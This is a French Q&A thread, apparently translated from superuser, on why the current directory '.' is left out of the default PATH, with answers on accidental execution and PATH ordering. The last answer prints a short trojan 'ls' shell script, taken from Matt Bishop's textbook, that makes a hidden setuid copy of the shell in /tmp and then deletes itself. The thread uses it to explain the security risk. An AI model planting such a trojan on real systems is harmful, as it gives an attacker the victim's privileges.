Pourquoi . ne figure-t-il pas dans le chemin par défaut ?

Oui. Si vous mettez le "." dans le chemin, vous finirez par envoyer beaucoup d'appels de commandes aux fichiers de votre répertoire actuel.

Même si c'était le dernier, il y a toujours une erreur de pilotage. Par exemple, Solaris 10 ne dispose pas de "top". Je tape "top" sur mon système toute la journée, parce que je pense que je suis sur un système qui a "top".

Plus qu'un risque de sécurité, la présence de "." dans le PATH rend presque impossible de s'assurer que l'exécution d'une commande se déroule comme prévu. Pensez à l'exécution d'une commande comme 'zip' dans un énorme répertoire contenant des milliers de fichiers aux noms aléatoires. La possibilité que l'un d'entre eux soit réellement nommé 'zip' n'est pas négligeable et conduirait à une erreur très difficile à comprendre (en fait, le fichier devrait être exécutable, ce qui, cependant, pourrait arriver).

C'est notamment le cas lors de l'écriture de scripts qui conservent la variable PATH de l'utilisateur. Un scripts bien écrit devrait gérer tous les cas de figure (comme les noms de fichiers contenant des espaces ou commençant par '-'). Mais il est peu pratique d'empêcher qu'un fichier dans le répertoire courant soit exécuté à la place d'une commande système...

Désolé, j'aimerais poser cette question sous la forme d'un commentaire à la réponse sélectionnée, mais je n'ai pas encore de représentant sur superuser.

La réponse concernant la sécurité est logique, mais si vous mettez "." dans votre PATH en dernier, le Shell ne devrait-il pas regarder dans le répertoire courant en dernier lorsqu'il recherche des exécutables, et ainsi réduire le risque de sécurité ? S'il recherchait effectivement $PATH dans l'ordre, il trouverait /bin/ls avant de trouver ./ls.

Dans quelle mesure est-il dangereux pour moi de mettre "." à la fin de ma variable d'environnement $PATH ?

Cela fonctionne comme je le suggère. Voici comment j'ai testé :

Tout d'abord, ajoutez "." à la FIN de votre variable d'environnement PATH.

Ensuite, placez le fichier suivant dans un répertoire quelconque, tel que ~/dir1/dir2/test_which.rb :

#!/your/path/to/ruby

puts "this file is from the current directory"

Et mettez ce fichier dans /usr/bin/test_which.rb

#!/your/path/to/ruby

puts "this file is at /usr/bin/test_which.rb"

Assurez-vous de chmod +x les fichiers pour qu'ils soient exécutables.

Maintenant, si vous changez de répertoire pour ~/dir1/dir2, et exécutez test_which.rb, vous obtiendrez le résultat suivant

this file is at /usr/bin/test_which.rb

En effet, si vous exécutez "which test_which.rb" depuis n'importe où, il devrait rapporter

/usr/bin/test_which.rb

Vous pouvez toujours exécuter le fichier dans le répertoire courant en tapant :

./test_which.rb

La raison pour laquelle il n'est pas présent dans votre variable $PATH est due à un petit code malveillant comme celui ci-dessous -

#! /bin/sh 

# make a privileged, hidden copy of the shell (command interpreter) 
cp /bin/sh /tmp/.xxsh 
chmod o+s, w+x /tmp/.xxsh

# do what the victim thinks is *all* you’re doing 
ls $* 

# delete this file 
rm ./ls

Lorsque vous enregistrez ce fichier en tant que 'ls' dans votre répertoire actuel en tant qu'exécutable, l'utilisateur ne sait même pas s'il exécute la commande système originale ou non. Par inadvertance, ce code malveillant sera exécuté avec une copie de Shell dans le répertoire /tmp/ avec le SETUSERID de l'utilisateur actuel pour le groupe 'others'. Cela donne le pouvoir au hacker tous les privilèges de l'utilisateur actuel. Et c'est un risque pour la sécurité.

C'est pourquoi "current path" ne figure pas dans le $PATH par défaut.

Cet exemple est emprunté à Computer Security - Arts and Science, Matt Bishop (Ch23 de la 2e édition).